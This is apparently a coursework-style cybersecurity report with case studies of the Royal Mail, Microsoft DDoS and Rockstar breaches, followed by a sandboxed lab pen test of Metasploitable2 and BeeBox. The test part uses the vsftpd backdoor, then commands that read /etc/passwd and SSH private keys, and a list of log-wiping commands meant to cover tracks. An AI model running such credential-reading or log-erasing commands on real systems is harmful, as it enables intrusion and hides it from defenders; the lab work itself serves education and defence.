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1. [bookmark: _Toc157189567]Cyberattacks Introduction

Due to the increasing reliance on technology, society is more vulnerable than ever to sophisticated and widespread cybersecurity breaches. The complexity of digital systems, whilst carrying many benefits, has increased the scope and sophistication of attacks. As organisations adopt emerging technologies, the attack surface has grown larger, resulting in proportionately greater consequences.
Cyber-attacks are now a regular occurrence. With technology being embraced through industry 4.0, it is no longer just information systems at risk, but also the global threat to critical infrastructure as industries adapt to the emergence of Internet of Things (IoT), automation and cloud services.
The landscape of cyber-threats has transformed from small-scale attacks to national security threats. This new era of attack groups ranges from individual threat actors to the cyberwarfare of state-sponsored entities, resulting in threats to all aspects of society.
This research delves into three significant cybersecurity breaches to have occurred in recent years. Focusing on attacks of varying characteristics, each case study details the specific nature of the attack and insights gained for future reference.

1.1 [bookmark: _Toc157189568]The Royal Mail Ransomware Attack (2023)

Royal Mail is a key component of the UKs communications infrastructure that has operated in Britain for over 500 years. Their workforce of 150,000 employees helps deliver to over 30 million UK addresses and further destinations overseas [1]. In January 2023, they were subject to a significant cybersecurity incident:













1.1.1 [bookmark: _Toc157189569]Attack Overview: Method and Impact

In November 2022, dozens of computers and servers were infected with malware at the Royal Mail’s headquarters in London. The attackers were able to access the systems through phishing emails targeting Royal Mail employees. Through this attack vector, a payload known as Emotet ransomware was delivered, encrypting sensitive data from the infected systems [2]. 

[image: A diagram of a software flowchart

Description automatically generated]
[bookmark: _Toc157186614]Figure 1 Ransomware Attack Process
The company managed to contain the attack by isolating various systems, allowing domestic services to be maintained. The infection successfully encrypted shipping devices that their Post Office branches used for processing international mail and parcels. With these shipping devices out of service, the company resorted to manually processing the parcels already within their distribution network and temporarily cease further operations beyond the UK [3].
Many small businesses were left stranded by the incident,  losing revenue from lack of services and forced to issue refunds for stock held up in the Royal Mail Network [4].
A lasting impact of this attack may be felt nationwide, with the latest information released by Royal Mail’s International Distribution Services reported a revenue drop of 6.5% [5]. This cost will eventually be passed on to the consumer, increasing prices for businesses and their customers.


1.1.2 [bookmark: _Toc157189570]Attacker Profile and Motivation

[bookmark: _Hlk157180376][bookmark: _Hlk157179478][bookmark: _Hlk157180409]The attack was attributed to a sophisticated cybercriminal group known as LockBit, notorious for operating under a ransomware-as-a-service (RaaS) model to extort financial gain from their victims. They employed a double extortion method of encrypting and exfiltrating the data, allowing them to hold the encrypted data to ransom whilst threatening to release it to the dark web. The National Cyber Security Centre (NCSC) reported that LockBit ransomware variants were the most deployed worldwide through 2022 [6].

1.1.3 [bookmark: _Toc157189571]Victim Response

[bookmark: _Hlk157179522]After isolating the infected systems, Royal Mail began collaborating with cybersecurity experts, including NCSC and the National Crime Agency, UK government bodies for assisting organisations in cyber-attacks. Further to this, the Information Commissioners Office (ICO) was informed of the data theft as a regulatory requirement [7].
The attackers released chat-logs of communications between themselves and Royal Mail, demanding a ransom of $80 million (£67 million), which they calculated as 0.5% of their victim’s revenue. In the face of these demands, Royal Mail stood firm, refusing to pay. During the negotiations, they even attempted to trick the attackers into providing the decryption keys that would allow them to recover their systems. Royal Mail’s ploy was to ask for proof the decryption worked on the pretence of allowing them to ship disrupted medical supplies, whilst actually requesting data that would recover their critical components. It is understood that LockBit’s demands were miscalculated. Payment was never considered as the sum would likely bankrupt Royal Mail’s compromised subsidiary [8].
Financial statements by Royal Mail revealed they spent over £10 million in remediation efforts to their infrastructure. Allocation of these funds was not disclosed, although it is expected to have been divided between cybersecurity upgrades and system rebuilds, since ransomware attacks often render infected systems unusable [9].

1.1.4 [bookmark: _Toc157189572]Mitigation Strategies

With the attack vector identified as a phishing email, and the execution delivered through means of ransomware, mitigation will focus on these two cyber threats.
According to statistics from IBM’s annual Threat Intelligence report, phishing was the leading attack vector of 2023, accounting for 41% of incidents [10]. The threat of this attack can be mitigated in several forms. Automated tools can be deployed, such as advanced email filtering to detect and block malicious communications before they are received at inboxes. Other real-time threat detection and alert systems may notify a user when they encounter a malicious link, message or website [11]. 
It is argued that the use of these advanced algorithm and machine learning tools are limited in their ability to identify new permutations and custom-made attacks. Consequently, they are most effective when combined with user training to identify and report incidents. This combined approach not only helps identify and avoid phishing attempts, but also provides input for refining and improving the features of automated tools [11].
Regarding ransomware, IBM also report that the time it takes for attackers to execute the payload from the point of entry has decreased by 94% over the last 5 years. Deployment in 2019 took an average of 60 days, compared with the 2023 average just 3.85 days [10]. This statistic highlights the need for organisations to proactively approach the threat, as by the time a system is infected, it is usually too late to recover the data, even if the ransom demands are met.
The work of Adhirath Kapoor et al describe the Detection avoidance Mitigation (DAM) defence, a theoretical framework that combines a multitude of mechanisms to prevent ransomware attacks. The key features are listed as follows [12]:
· Detection techniques – Automated tools to scan executable files, either statically or dynamically following the flow of code to identify suspicious patterns such as file identification or privilege escalation.
· Avoidance Techniques – As ransomware preys on unpatched vulnerabilities, this can be avoided by regular patches and updates. Non-acceptance of emails from unknown sources would also prevent many forms of attack. Folder-based access control would also avoid sensitive data from being encrypted.
· [bookmark: _Hlk157179960]Mitigation Techniques – utilising Software Defined Networking (SDN) can be implemented to block Command & Control (C&C) server communications, preventing a successful encryption. Another mitigation is the deployment of secure data vaults that maintains file integrity, allowing for post-attack system recovery.

      [image: A diagram of a software flowchart
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[bookmark: _Toc157186615]Figure 2 Ransomware Detection Techniques, adapted from [12]

1.2 [bookmark: _Toc157189573]Microsoft DDoS Attack (2023)

[bookmark: _Hlk157180475]In June 2023, tech giant Microsoft received a surge in traffic that primarily targeted their Azure, Outlook, and OneDrive services. This incident was quickly identified as a Distributed Denial of Service (DDoS) attack labelled Storm-1359, temporarily affecting the availability of targeted services [13].
The attack was attributed to the prolific threat-actors Anonymous Sudan, a self-proclaimed hacktivist group that are suspected of being a state-sponsored entity with links to the Killnet group [14].
The attack to Microsoft Services lasted several days. However, the perpetrator’s broader campaign is ongoing at the time of writing. Their attacks cover multiple targets, primarily tech firms such as Cloudflare, OpenAI and PayPal.

[bookmark: _Toc157186616]Figure 3, Microsoft Attack Timeline, adapted from [15]


1.2.1 [bookmark: _Toc157189574]Attack Overview: Method and Impact

On June 7th, Microsoft’s Outlook servers were targeted with a DDoS attack that caused intermittent outages for several days. This was followed with further attacks on their OneDrive and Azure services. Microsoft’s assessment of the internally named Storm-1359 attack states that unusual traffic was targeting disruption at the application layer, layer 7 of the OSI model. This was achieved through a combination of techniques [13]:
· HTTP(S) flood attack – Overwhelming the servers with a high volume of HTTP(S) requests, primarily SSL/TLS handshakes from a vast number of internationally distributed IP addresses.
· Cache bypass – Sending requests that bypass the web application’s cache, forcing it to fully process every request. In this case, queries were sent to URLs that forced the frontend to pass on every request instead of serving from cache.
· Slowloris – Establishing unresponsive connections to the target server that are maintained for as long as possible to consume its resources.

[bookmark: _Hlk157180735]Microsoft’s tracking of the event identified the infrastructure involved as rented cloud hardware utilising multiple Virtual Private Servers (VPS) and open proxies combined with DDoS tools. A diagram of the attack is illustrated in figure 4:
[image: A diagram of a computer network
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[bookmark: _Toc157186617]Figure 4 Anonymous Sudan's Attack Vector Layout
Disruption to services lasted several days. At its peak, there were 18,000 reports of outages on Down Detector. Azure was the most severely disrupted, with a reported 77% of users having difficulty accessing the website, 18% experiencing login problems and 6% with server connection issues [15].
Despite the negative publicity, little damage was done to the organisation, issuing a statement that no data was lost during the incident. Share prices were unaffected, rising marginally higher by 0.78% [15].
For Anonymous Sudan, the incident was claimed as a victory due to widespread media attention. The group released statements via its Telegram channel threatening further attacks against US companies, government and infrastructure [16].

1.2.2 [bookmark: _Toc157189575]Attacker Profile and Motivation

Despite Anonymous Sudan’s claims to be a Sudanese hacktivist group, they appear to have no relation to the nation. Additionally, the cloud infrastructure utilised during their attacks, coupled with the technical sophistication of their methods, extends beyond the average hacktivist group [17]. 
Such resources are usually seen from state-sponsored hackers, a theory consistent with their ties to the state-sponsored group Killnet. A threat intelligence report by Truesec highlighted their original Telegram statements being in Russian, only to delete these posts and begin posting in basic Arabic, eventually adopting Sudanese dialect. These communications add further weight to the theory of state-sponsored attacks [18].
The attackers self-proclaimed motivation was financially driven. Public demands were made for payment of $1 million in exchange for ceasing attacks and information on how it was performed. This statement was unlikely to be more than a feint, with their real intentions to cause widespread disruption and gain publicity [16].

1.2.3 [bookmark: _Toc157189576]Victim Response

Microsoft’s initial statement announced the incident as a “technical issue”, whilst their mitigation response was to address the traffic with load balancing processes. They later released a more detailed statement to admit they were victims of a DDoS attack by the Anonymous Sudan group. This also stated that no data was lost or stolen, and damages were contained to temporary service outages [13].
Reacting to the threat of future attacks, it was announced that they had tuned their Azure Web Application firewall to protect from further layer 7 attacks. This specifically involved configuring bot-protection from known threats, blocking IP addresses and limiting traffic from defined regions [13].
Microsoft made no public response to the statements made by Anonymous Sudan, including their demand for $1million payment [16].

1.2.4 [bookmark: _Toc157189577]Mitigation Strategies

According to Microsoft, various defence mechanisms were already in place for mitigating DDoS attacks. Their strategy was focused on reconfiguring the existing systems by means of load balancing and custom rules to their WAF [13].
[bookmark: _Hlk157181217]Information provided by The Cybersecurity and Infrastructure Security Agency (CISA) states that DDoS defence is enhanced with understanding the network infrastructure and resources before any attack takes place. Particular attention is focused on the following key areas [19]:
· Identify the public facing services and understand their inherent vulnerabilities. Prioritising the most critical assets can enhance the configuration of the WAF.
· Monitor network user traffic to understand the key areas of weakness. Identifying potential network chokepoints will allow for more effective mitigation when deploying load balancing.
· Understanding the defences offered by Internet Service Providers (ISP) and Cloud Service Providers (CSP) can assist in identifying any gaps in their protection. Organisations may alter WAF configurations to cover the limitations in ISP or CSP defences.
· Consider the potential impact a DDoS might have on the network and deploy appropriate network redundancy to mitigate the potential changes to functionality.



1.3 [bookmark: _Toc157189578]Rockstar Games Grand Theft Auto 6 Leak (2022)

On 18th September 2022, video game developer Rockstar Games was subject to a major attack by a British member of the Lapsus$ hacking group that operated under the alias TeaPotUberHacker. Using minimal resources but a strong technical understanding, the attacker managed to steal Rockstar’s intellectual property without access to a PC or laptop. After a spate of high-profile attacks, the hacker’s real identity, Arion Kurtaj, was made public by rival hacker groups, resulting in his arrest. According to a BBC report, he was subsequently placed in police protection in a UK hotel, where he proceeded to execute his attack on Rockstar Games, amongst other targets [20]. 

1.3.1 [bookmark: _Toc157189579]Attack Overview: Method and Impact

[bookmark: _Hlk157181621]Kurtaj used a combination of social-engineering and SIM-swapping to steal the source code for the unreleased video game, Grand Theft Auto 6 (GTA6), Rockstar’s flagship product. With his laptop confiscated by police, he instead used simple equipment – an Amazon Firestick, hotel TV and a mobile phone – to conduct the attack by utilising cloud services [20].
Without specific information on how the Firestick was utilised, several assumptions can be made for its use:
1. It was modified through accessing root privileges and altering the firmware – a method known as “jailbreaking” [21].
2. The Firestick accessed a web browser or shopping app to acquire the mobile phone, an item reported to have been newly purchased [20], for leveraging the cloud services and executing the SIM-swap.

Kurtaj’ attack was initiated by gaining the credentials of a Rockstar employee. The method for acquiring the credentials is unclear, but potentially mirrors a tactic used in the Uber Technologies attack from the same hotel room, where he convinced an employee to provide their user account details by presenting himself as IT staff [22].
With the user account details acquired, he then bypassed Rockstar’s Multi Factor Authentication (MFA) using a method known as SIM-Swapping – contacting the victim’s telecommunications provider and porting the phone number to a SIM-card in his possession, effectively directing all communications to the replacement SIM [23].

[bookmark: _Toc157186618]Figure 5, SIM Swapping Process, adapted from [23]

Kurtaj then used the credentials to access Rockstar’s systems and navigate through Active Directory security, where he downloaded over 90 videos of the unreleased video game footage and the source code to previous GTA titles that are currently in service. He then leaked the content on social media, quickly going viral across major platforms. Despite the frustration of key product information being revealed, no impact is expected on the video games release, which is estimated to surpass the record-breaking success of its predecessor: GTA5 Online [24]. 

1.3.2 [bookmark: _Toc157189580]Attacker Profile and Motivation

Consisting of a small number of teenagers in the UK and Brazil, the volume of attacks by the Lapsus$ group made them one of the most prolific attackers of 2022.
The perpetrator of the Rockstar attack, 18-year-old Kurtaj, has remarkable skills and a strong intent for committing cybercrime. Although the Lapsus$ group are primarily intent on extortion and blackmail, Kurtaj’ motives appear more complex than just financial gain. When convicted for his crimes, he was sadly handed an indefinite hospital order for his severe autism. Kurtaj displays acts of violence and openly states his intention to continue committing cyber-crimes. This intent suggests that he may be a compulsive offender that attacks organisations due to his mental condition [25].

1.3.3 [bookmark: _Toc157189581]Victim Response

In the immediate aftermath of the attack, Rockstar Games acknowledged the incident as a network intrusion [26]. They were reported to have spent $5million on strengthening their security systems and thousands of hours of admin resources removing the leaked footage [25].

1.3.4 [bookmark: _Toc157189582]Mitigation Strategies

The primary attack vector in this incident was social engineering based. The survey by Salahdine and Kaabouch lists the following mitigation strategies [27]:
· Educate Employees – The human aspect of social engineering targets the weakest link in network security. Regular training can strengthen this area and identify attacks.
· [bookmark: _Hlk157181940]Limit Information Sharing – Reduce the amount of information shared, particularly with public access that may be used for Open-Source Intelligence (OSINT)
· Verify Unsolicited Contacts – Establish the identity in all communications. In the event where this is not possible, cease contact.

A key factor in executing this attack involved navigating MFA. In the journal by Nader Karim et al, they state that MFA can be strengthened with additional features [28]:
· Voice MFA – Identifies a user by their unique voice patters.
· Physical Security Keys – Involves physical hardware tokens such as key fobs or USB devices to generate one-time user codes.
· Biometrics – Employs unique authentication via fingerprints or facial recognition.

Further to these strategies, the US government agency CISA responded to the Lapsus$ attacks with a series of recommendations at regulatory level to mitigate the specific threats posed as follows [29]:

· Government support for authentication improvements such as Identity Access Management (IAM).
· Strengthen government oversight in telecommunications to prevent SIM swapping.
· Enforce stringent identity verification for SIM swapping.
· Enforce retailer identification checks for SIM card sales.
· Enhance international resources and collaboration for tackling cybercrime.
· Introduce juvenile/youth offender programs for cybercrime prevention and intervention.



















2. [bookmark: _Toc157189583]Simulated Penetration Testing of CPC Virtualised Infrastructure

[bookmark: _Hlk157182328]Cureton Pharmaceutical Company (CPC) is an organisation working to create vaccines for respiratory viruses. The business requires a strong cybersecurity posture to secure their assets. CPC have extended their Cybersecurity department with a newly formed Red-Team to test the security of their infrastructure.
2.1 [bookmark: _Toc157189584]CPC Testbed Requirements

[bookmark: _Hlk157182381]The chosen design consists of a network of virtual machines hosted by a type 2 hypervisor employing Network Address Translation (NAT). The sandboxed virtualised network provides a safe, scalable environment for a replication of the company’s network.

2.1.1 [bookmark: _Toc157189585]Network Architecture Design

The network architecture shown in figure 6 was designed as a testbed to meet the needs of the company and suitability of the pen test.

[image: A diagram of a network
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[bookmark: _Toc157186619]Figure 6, CPC Network Testbed


[bookmark: _Toc157189586]2.1.2 Network Implementation

Oracle VirtualBox type 2 hypervisor was chosen for constructing the network using the resources shown in figure…

[image: A screenshot of a computer
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[bookmark: _Toc157186620]Figure 7 Oracle VirtualBox Virtual Network


[bookmark: _Toc157189587]2.1.3 Network Infrastructure

CPC NAT NETWORK: Virtualised environment utilising NAT network.
RED-TEAM: Kali Linux distribution for Pen-testing and security auditing.
MANAGEMENT: Windows 10 desktop PC with high privilege access and management tasks.
EMPLOYEE: Windows 10 desktop PC with restricted privileges for typical employee use.
DOMAIN CONTROLLER SERVER: Windows server 2019.
WEB APP SERVER: BeeBox serving as a vulnerable web application server for testing purposes.
PHARMARECORDS: Metasploitable2 simulating a vulnerable database server hosting sensitive records.


[bookmark: _Toc157189588]2.1.4 Contingency Policy

To establish a safe guide of ethical conduct, a contingency policy was established before executing the penetration testing procedure. The policy details are as follows:

Safe Environment: The use of Oracle VirtualBox provides a controlled, sandboxed environment, effectively isolating the testing activities from real-world networks.
Data Backup & Recovery: Regular backups of all VMs will be maintained to mitigate the risk of critical failures or misconfigurations.
Defined Scope: The testing procedures are restricted to the VMs listed in the virtual network. Any external systems or networks are explicitly excluded from testing. It is acknowledged that virtual environments may not fully replicate real-world environments.
Ethical and Legal Compliance: All testing activities will be for educational purposes only and comply with relevant legal requirements. Only safe and sensible actions will be conducted.
Incident Response Plan: In case of unexpected events, testing activities will be ceased immediately. Assessment of the incident will be initiated for remediation.

[bookmark: _Toc157189589]2.1.5 Framework Utilisation

The testing approach will incorporate the MITRE ATT&CK and OWASP Top 10 frameworks as guiding principles. 
The MITRE ATT&CK will guide the exploitation of specific attack techniques to ensure a comprehensive system assessment by following the MITRE ATT&CK matrix [30].
Concurrently, the OWASP top 10 will provide focus on the most critical web application security risks, such as injection flaws and Cross-Site Scripting (a03:2021) [31].

2.2 [bookmark: _Toc157189590]Vulnerability Assessment and Penetration Testing

The primary aim is for the Red Team to strengthen CPC’s cybersecurity posture by assessing the network for vulnerabilities and offering a form of remediation. This will be conducted under white-box conditions as all information is available to the tester.





2.2.1 [bookmark: _Toc157189591]Scope

· NETWORK LIMITATION – Testing is confined to the virtualised environment within Oracle VirtualBox, impacting only the VMs within the virtual NAT network. It is established that explicit permission is granted to target all VMs within the CPC testbed.
· ETHICAL BOUNDARIES – All activities will adhere to ethical hacking standards and legal requirements. No harm will be caused to external networks, services, information systems, or users beyond the virtual network.
· DATA HADNLING – Any information, including but not limited to network information, login credentials, vulnerabilities, testing methods, attack vectors and exploits, remain within the confines of the testing environment and are not used for any purpose beyond the scope of this exercise.
· TEST DURATION – The test period is defined as activity between the start date of 1/12/23 to the end date of 29/1/24. Testing beyond the stated timeframe is prohibited.
· USE OF TOOLS – Only established tools within the Kali Linux suite are to be used. Any use of destructive tools is prohibited.
· REPORTING – All findings during the testing process will be documented in a final report detailing vulnerabilities, testing methods and mitigation recommendations.
· POST-TESTING PROCEDURE – Upon completion of this exercise, all VMs will be deleted or restored to their original state, leaving no residual vulnerabilities remaining.

2.2.2 [bookmark: _Toc157189592]Passive Reconnaissance 

In the initial testing phase, passive reconnaissance was aimed at the Metasploitable2 and BeeBox VMs within the network. The primary aim was to gather information that may identify vulnerabilities that are susceptible to OWASP top 10 risks.
According to documentation provided by developers Rapid7, the following known vulnerabilities were identified for Metasploitable2 [32]:
· Apache Tomcat 2.2.8 – Weak default credentials leading to unauthorised access.
· vsFTPd 2.3.4 Backdoor – Potential for remote code execution.
· [bookmark: _Hlk156407329]MySQL 5.0.51a – Vulnerabilities that may lead to unauthorised database access.
· Samba 3.0.20 – Vulnerability that may lead to remote code execution.
According to online sources from ITsecgames, BeeBox is known to have the following issues [33]:
· [bookmark: _Hlk157183212]Web application vulnerabilities that are aligned with the OWASP top 10, including Cross-Site Scripting (XSS) and SQL Injection
· Default user credentials or easily cracked passwords.
· Outdated web services running older versions of Apache, PHP and SQL
The vulnerabilities identified during passive reconnaissance were chosen to make up the scope of the pen-testing stage, assessing the security posture, and demonstrating the impact of exploitation.

Under white box conditions, the IP addresses of each VM are available to the Red Team. They are listed in table 1.
[bookmark: _Toc157186656]Table 1 VM IP Address Table
	Hostname
	IP Address
	Subnet Mask

	Red Team Kali Linux
	10.0.2.4
	255.255.255.0

	Web App Server BeeBox
	10.0.2.5
	255.255.255.0

	DomainController Sever
	10.0.2.6
	255.255.255.0

	Management Windows 10
	10.0.2.7
	255.255.255.0

	PharmaRecords DP Metasploitable 2
	10.0.2.8
	255.255.255.0

	Employee Windows 10
	10.0.2.15
	255.255.255.0




2.2.3 [bookmark: _Toc157189593]Active Reconnaissance 

[bookmark: _Hlk157183354]To initiate active reconnaissance, Zenmap was chosen to map the CPC network due to its Graphical User Interface (GUI) and clear visual displays. The Metasploitable 2 VM was initially targeted due to its known vulnerability issues. 
An intense scan of the 10.0.2.8 target identifies 23 open ports which may lead to potential vulnerabilities. The scan also confirms vulnerable services identified in the reconnaissance stage, such as vsftpd 2.3.4, MySQL 5.0.51a, and Apache 2.2.8.
[image: A screenshot of a computer
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[bookmark: _Toc157186621]Figure 8 Zenmap Intense Scan of Metasploitable2

The next scan targeted the 10.0.2.5 IP address of the BeeBox VM. The results show 17 open ports, confirming the previously researched presence of outdated service versions and the allowance of anonymous FTP access.
[image: A screenshot of a computer
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[bookmark: _Toc157186622]Figure 9 Zenmap Intense Scan of BeeBox
To complete the network mapping, the slash notation is included in the next scan to identify all nodes within the subnet.
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[bookmark: _Toc157186623]Figure 10 Zenmap Intense scan of subnet


From the resulting topology, an inventory is presented in the following table:
[bookmark: _Toc157186657]Table 2 Open Port Table
	IP Address
	Identified Node
	Open Ports

	10.0.2.1
	Default Gateway
	<3

	10.0.2.2
	VOIP Phone (97% accuracy)
	<3 (Filtered ports)

	10.0.2.3
	
	<3 (Filtered ports)

	10.0.2.4
	Red Team Kali Linux
	<3

	10.0.2.5
	Web App Server BeeBox
	>6

	10.0.2.6
	DomainController Server
	3-6

	10.0.2.7
	Management Windows 10
	3-6

	10.0.2.8
	PharmaRecords DP Metasploitable 2
	>6

	10.0.2.15
	Employee Windows 10
	3-6




2.2.4 [bookmark: _Toc157189594]Vulnerability Assessment

The following ports and services identified during the reconnaissance stage were then targeted for vulnerability assessment using appropriate tools depending on the service.
[bookmark: _Toc157186658]Table 3, Reconnaissance target table
	Hostname
	IP
	Port
	Service
	Version
	Scan Tool

	PharmaRecords DP Metasploitable 2
	10.0.2.8
	21
	ftp
	vsftpd 2.3.4

	Nmap

	PharmaRecords DP Metasploitable 2
	10.0.2.8
	80
	http
	Apache 2.2.8.
	Nikto

	PharmaRecords DP Metasploitable 2
	10.0.2.8
	3306
	mySQL
	MySQL 5.0.51a
	Searchsploit

	Web App Server BeeBox
	10.0.2.5
	80
	http
	Apache 2.2.8.
	Nikto

	Web App Server BeeBox
	10.0.2.5
	443
	https
	
	Nikto

	Web App Server BeeBox
	10.0.2.5
	3306
	mySQL
	MySQL 5.0.96-0ubuntu3
	Searchsploit











METASPLOITABLE:
The Nmap scan result for 10.0.2.8 port 21 confirmed the presence of a backdoor vulnerability in vsFTPd:
[image: A screenshot of a computer program

Description automatically generated]
[bookmark: _Toc157186624]Figure 11, Nmap Vulnerability Scan of Metasploitable2

The Nikto scan of the target server at IP 10.0.2.8 on port 80 has revealed common admin directories, which could be exploited if credential remain unchanged:
[image: A screenshot of a computer

Description automatically generated]
[bookmark: _Toc157186625]Figure 12, Nikto Web App Scan of Metasploitable2

Searchploit Highlighted the following vulnerabilities in MySQL 5.0.51a:
[image: A screenshot of a computer

Description automatically generated]
[bookmark: _Toc157186626]Figure 13, Searchsploit vulnerability search of mySQL 5.0.51a

BEEBOX:
The Nikto scan of port 80 reveals multiple security concerns on the BeeBox server such as outdated software versions, exposed server-status page and publicly accessible phpMyAdmin directory:
[image: A screenshot of a computer
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[bookmark: _Toc157186627]Figure 14, Nikto Scan of BeeBox port 80






Security issues are present on the scan results of port 443. Nikto shows outdated server components and misconfigured http headers:
[image: A screenshot of a computer program
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[bookmark: _Toc157186628]Figure 15 Nikto Scan of port 443

Accordingly, the final scan using Searchsploit raised multiple vulnerabilities with the MySQL 5.0.96-0ubuntu3 database:
[image: A screenshot of a computer
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[bookmark: _Toc157186629]Figure 16 Searchsploit vulnerability search of MySQL 5.0.96-0ubuntu3

2.2.5 [bookmark: _Toc157189595]Exploitation

For the scope of the assignment, the exploitation stage focuses on one vulnerability for Metasploitable2 and one for BeeBox. They are chosen as follows:

	Hostname
	IP Address
	Port Number
	Vulnerability
	Tool

	PharmaRecords DP Metasploitable 2
	10.0.2.8
	21
	vsftpd 2.3.4 Backdoor CVE-2011-2523
	Metasploit

	Web App Server BeeBox
	10.0.2.5
	80
	phpMyAdmin
	Metasploit


[bookmark: _Toc157186630]Figure 17, Exploitation Targets

METASPLOITABLE2:
To begin the exploitation of the targeted vulnerability, Metasploit is launched. The specific vulnerability is entered in a search, resulting in the vsftpd_234_backdoor being identified and executed:
[image: A screenshot of a computer
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[bookmark: _Toc157186631]Figure 18, Metasploit begins backdoor exploit

With the exploit executed, the backdoor service successfully targets 10.0.2.8 with an open command shell session and root privileges accessed:
[image: A screen shot of a computer
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[bookmark: _Toc157186632]Figure 19, Metasploit payload executed against 10.0.2.8

Within the exploited session, the” uname -a” command is used to display target system information, with the “cat /etc/*-release” command revealing the Ubuntu 8.04 (Hardy Heron) distribution:
[image: A screen shot of a computer
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[bookmark: _Toc157186633]Figure 20, Target Information Displayed

The cat “/etc/passwd” command is used to list the details of user accounts. This information is potentially valuable to a threat actor trying to access within the shell session:
[image: A screenshot of a computer screen
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[bookmark: _Toc157186634]Figure 21, User Accounts List retrieved from shell session

The “cat /home/*/.ssh/id_rsa” retrieves RSA private keys from user directories, potentially allowing a user to gain unauthorised access to user accounts:
[image: A screenshot of a computer screen
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[bookmark: _Toc157186635]Figure 22, RSA Privat Keys Obtained from shell session

After attempting to access the mySQL service failed, resulting in the shell session becoming unresponsive. The session was closed and restarted:
[image: A screenshot of a computer
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[bookmark: _Toc157186636]Figure 23, SQL Access failed, ending session.


CLEANUP:
In attempt to cover the tracks, the following commands were used: 
· history -c && history -w - Cleared the shell command history to prevent recording of exploitation process.
· echo '' > /var/log/auth.log - Deleted the authentication log file to obscure the evidence of access.
· echo '' > /var/log/syslog - Deleted the system log file to remove traces of the activities.
· rm -rf /var/run/utmp - Cleared the temporary files directory to remove any temporary data left by the exploitation tools.
· cat /dev/null > /var/log/wtmp - Deleted the web server log to hide web access traces.
· cat /dev/null > ~/.bash_history && history -c && exit - Overwritten the bash history file to ensure command history is not recoverable and closed the backdoor session to remove active connections from the compromised system.
[image: A computer screen shot of a computer code
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[bookmark: _Toc157186637]Figure 24, cleanup commands to clear tracks

BeeBox:
Based on the information established in the vulnerability assessment stage identifying basic credentials, access was gained to the phpMyAdmin using the username “admin” with no password set:
[image: A screenshot of a computer
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[bookmark: _Toc157186638]Figure 25, Default Credentials allow for PHP access

Metasploit was chosen to execute a shell session to the phpMyAdmin application. This involved setting the BeeBox IP address with the previously identified credentials, using a reverse_tcp payload from the Kali Linux IP address and port 4444. The exploit failed, with the error message “Couldn’t find token. Is URI set correctly?”
[image: A screenshot of a computer program
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[bookmark: _Toc157186639]Figure 26, Metasploit reverse tcp payload requests token


With the URI re-checked, an attempt was made to acquire the token from the web page source code within the kali web browser. With the token found, the exploit was reattempted, but still unsuccessful. It is assumed that the inherent security mechanisms within the PHP environment and the target server’s configuration resulted in the failure of the exploit attempt:
[image: A computer screen shot of a program
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[bookmark: _Toc157186640]Figure 27, Token retrieved from web page source code

The focus of testing was shifted to the bWAPP web application running on BeeBox. The default credentials were entered from the Kali web browser, accessing a dropdown menu of exploits for the intentionally vulnerable application, with XSS-reflected (GET) chosen. The pop-up box displaying a message. The successful execution of the XSS attack highlights the importance of input validation to prevent malicious redirections that compromise web security:
[image: A screenshot of a computer
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[bookmark: _Toc157186641]Figure 28 XSS-reflected GET request from Kali web browser

2.3 [bookmark: _Toc157189596]CPC Test Final Report

Testing of the CPC network is concluded with a final report to outline the key findings, recommendations and associated costs of the process.
2.3.1 [bookmark: _Toc157189597]Executive Summary

Company Details:
Name: Cureton Pharmaceutical Company (CPC)
Location: International
Industry: Pharmaceutical Technology

Test Details:
Date started: 01/01/2024	Date finished: 21/01/2024	Duration: 20 days
Network analysed: Virtual NAT 	Network ID: 10.0.2.0	               Subnet mask: 255.255.255.0
Test status: Completed

Assessment Overview:
This test was conducted internally under white-box conditions as an authorised member of CPC Red Team security. All actions were performed in a controlled environment. 
The purpose was to improve the company’s cybersecurity posture by identifying vulnerabilities through the utilisation of MITRE ATT&CK and OWASP top 10 frameworks.
The recommendations included in the Final Report section should be carefully reviewed for implementation to effectively strengthen the CPC network security posture.

Risk Summary:
The test proved the presence of vulnerabilities that compromise the network security. The risks are included but not limited to the following:
The company’s database server (Metasploitable2) was proven to have the vsftpd 2.3.4 Backdoor (CVE-2011-2523) present in its system. Root privileges were accessed via a remote shell session resulting in:
· Retrieved system information and user account details.
· Accessed RSA private keys from user directories.
· Attempted mySQL service access resulted in an unresponsive shell.
The company’s web application server was proven to have default user credentials and XSS vulnerabilities. Exploitation of these issues resulted in:
· Accessed phpMyAdmin using “admin” username with no password.
· Failed exploit attempts on phpMyAdmin with Metasploit.
· Successful execution of a Cross-Site Scripting (XSS) attack on the bWAPP web application.
See section 2.3.2 for recommended solutions.

Conclusion:
The pen-test conducted on the Metasploitable2 and BeeBox virtual machines provided critical insights into the current security posture of these systems. 
The vulnerabilities discovered, especially in the BeeBox VM, underscores the relevance of the OWASP guidelines in identifying real-world web application vulnerabilities.
The exercise highlighted the need for regular security assessments to identify and mitigate vulnerabilities before they can be exploited maliciously.

Disclaimer:
This report has been created for the exclusive use of Cureton Pharmaceutical Company. Access to this document, including unauthorised copies, distribution or broadcasting of any subsequent material, is strictly prohibited. 
The information in this document is representative of the findings at the time of testing and may not reflect any current changes to the network infrastructure.
Any action taken regarding the results and recommendations of the test/report are at the risk of the acting party and Cureton Pharmaceutical Company. The tester will not be held responsible for any adverse effects.









2.3.2 [bookmark: _Toc157189598]Recommended Solutions

The following recommendations are made for remediation of each vulnerability.

Database Server (Metasploitable2):
[bookmark: _Toc157186659]Table 4, Metasploit Remediation Table
	Vulnerability
	Recommendation

	vsFTPd 2.3.4 Backdoor (CVE-2011-2523)
	Ensure all services are updated to the latest versions to apply the latest security patches

	Apache Tomcat 2.2.8- Weak Default Credentials
	Implement password policies and multi-factor authentication

	MySQL 5.0.51a
	Upgrade to latest version

	Samba 3.0.20
	Upgrade to latest version





Web application Server (BeeBox):
[bookmark: _Toc157186660]Table 5, BeeBox Remediation Table
	Vulnerability
	Recommendation

	Cross-Site Scripting
	Upgrade to service that Implements input validation & output encoding 

	SQL Injection
	Upgrade to service that uses parameterised queries and validation of inputs




General security:
· Conduct regular security audits, monthly vulnerability assessments and annual penetration testing to maintain network security.
· Train staff in security practices adhering to security policies.
· Implement access-control and password policies for network systems and services, including multi-factor authentication.
· Utilise network segmentation to reduce the attack surface, limiting damage caused by any security breach.
· Backup data and enforce an incident-response plan to mitigate any security breaches.






Additional Network Infrastructure:
· UTM Firewall at the edge of the network
· WAF Firewall in front of the Web App Server
· Network access control the entry point to the internal network
The revised network architecture may look similar to the example in figure 29:

[image: A diagram of a network
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2.3.3 [bookmark: _Toc157189599]Financial Overview

